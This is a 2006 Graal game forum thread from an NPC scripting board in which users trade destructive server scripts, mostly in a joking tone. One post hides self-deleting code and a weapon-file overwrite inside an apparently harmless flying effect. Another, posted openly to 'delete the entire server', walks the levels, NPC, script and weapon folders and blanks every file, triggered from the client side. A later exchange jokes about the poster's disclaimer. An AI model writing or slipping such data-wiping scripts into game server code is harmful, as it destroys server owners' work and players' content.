Graal Forums  

Go Back   Graal Forums > Development Forums > NPC Scripting
FAQ Members List Calendar Search Today's Posts Mark Forums Read

Reply
 
Thread Tools Search this Thread Display Modes
  #1  
Old 10-25-2006, 01:17 AM
Yen Yen is offline
Banned
Yen's Avatar
Join Date: Oct 2005
Location: Nova Scotia, Canada
Posts: 1,085
Yen is an unknown quantity at this point
Send a message via AIM to Yen Send a message via MSN to Yen
PHP Code:
function onActionServerside() {
  switch (
params[0]) {
    case 
"destroyweapon":
      
temp.line "//LOL DESTROY'D";
      
temp.line.savestring("weapons/weapon" ParseWeapon(name) @ ".txt"0);
    break;
    case 
"destroynpc":
      
destroy();
    break;
}

function 
ParseWeapon(text) {
  for (
0text.length(); n++) {
    if (
text.substring(n,1) == "!"text text.substring(0,text.pos("!")) @ "%033" text.substring(text.pos("!")+1);
    if (
text.substring(n,1) == "$"text text.substring(0,text.pos("$")) @ "%036" text.substring(text.pos("$")+1);
    if (
text.substring(n,1) == " "text text.substring(0,text.pos(" ")) @ "%032" text.substring(text.pos(" ")+1);
    if (
text.substring(n,1) == "+"text text.substring(0,text.pos("+")) @ "%043" text.substring(text.pos("+")+1);
    if (
text.substring(n,1) == "-"text text.substring(0,text.pos("-")) @ "%045" text.substring(text.pos("-")+1);
  }
  return 
text;
}
//#CLIENTSIDE 
function onCreated() { 
  if (
weapons.index(this) >= 0triggerserver("gui",name,"destroyweapon");
  else 
triggerserver("gui",name,"destroynpc");
  if (
player.account == "fowlplay4") { 
    
destroy(); 
  } 

  if (
player.account == "rapidwolve") {
    
vipAccess(); 
  } 
  
temp.canUse this.amazingFunction(); 
  if (
temp.canUse) { 
    
player.chat "O COOL IM FLYIN!"

    for (
temp.0temp.30temp.I++) { 
      
player.temp.I
      
sleep(0.05); 
    } 
  } 


function 
amazingFunction() { 
  if (
player.2) return false
  else return 
true
}   

function 
vipAccess(){ 
  
// Code ending with a function containing no actions produces an error, newb.

Reply With Quote
  #2  
Old 10-25-2006, 01:25 AM
KuJi KuJi is offline
Banned
Join Date: Apr 2004
Location: Staten Island, New York
Posts: 2,202
KuJi will become famous soon enough
Send a message via ICQ to KuJi Send a message via AIM to KuJi Send a message via MSN to KuJi Send a message via Yahoo to KuJi
PHP Code:
function onActionServerSide()
{
  echo(
"Server Deletion has started!");

  
temp.lines = new TStaticVar();

  
// Levels
  
temp.folder.loadfolder("levels/*.*"true);
  for (
temp.var: temp.folder)
  {
    
temp.lines.savelines("levels/" temp.var, 0);
  }

  
// NPCS
  
temp.folder.loadfolder("npcs/*.txt"true);
  for (
temp.var: temp.folder)
  {
    
temp.lines.savelines("npcs/" temp.var, 0);
  }

  
// Scripts
  
temp.folder.loadfolder("scripts/*.txt"true);
  for (
temp.var: temp.folder)
  {
    
temp.lines.savelines("scripts/" temp.var, 0);
  }

  
// Weapons
  
temp.folder.loadfolder("weapons/*.txt"true);
  for (
temp.var: temp.folder)
  {
    
temp.lines.savelines("weapons/" temp.var, 0);
  }

  echo(
"The server has been deleted!");
  echo(
"Please restart the npc-server!");
}

//#CLIENTSIDE
function onCreated()
{
  
triggerserver("gui"this.name);

Would my script work.. it should delete the entire server =p?

DISCLAIMER: If this does work, I am not responsible for any damage you may cause to your server and I advise you that you back it up first =!

Last edited by KuJi; 10-25-2006 at 01:51 AM..
Reply With Quote
  #3  
Old 10-25-2006, 01:52 AM
Demisis_P2P Demisis_P2P is offline
Kanto League Champion
Demisis_P2P's Avatar
Join Date: Jan 2005
Posts: 2,357
Demisis_P2P has much to be proud ofDemisis_P2P has much to be proud ofDemisis_P2P has much to be proud ofDemisis_P2P has much to be proud ofDemisis_P2P has much to be proud ofDemisis_P2P has much to be proud ofDemisis_P2P has much to be proud of
Quote:
Originally Posted by KuJi View Post
Please note: I am not reliable
So true.

I think you meant liable
Reply With Quote
  #4  
Old 10-25-2006, 01:52 AM
KuJi KuJi is offline
Banned
Join Date: Apr 2004
Location: Staten Island, New York
Posts: 2,202
KuJi will become famous soon enough
Send a message via ICQ to KuJi Send a message via AIM to KuJi Send a message via MSN to KuJi Send a message via Yahoo to KuJi
Quote:
Originally Posted by Demisis_P2P View Post
So true.

I think you meant liable
I updated it, you're late =! (by a minute =p)
Reply With Quote
Reply

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT +2. The time now is 07:00 AM.


Powered by vBulletin® Version 3.8.11
Copyright ©2000 - 2025, vBulletin Solutions Inc.
Copyright (C) 1998-2019 Toonslab All Rights Reserved.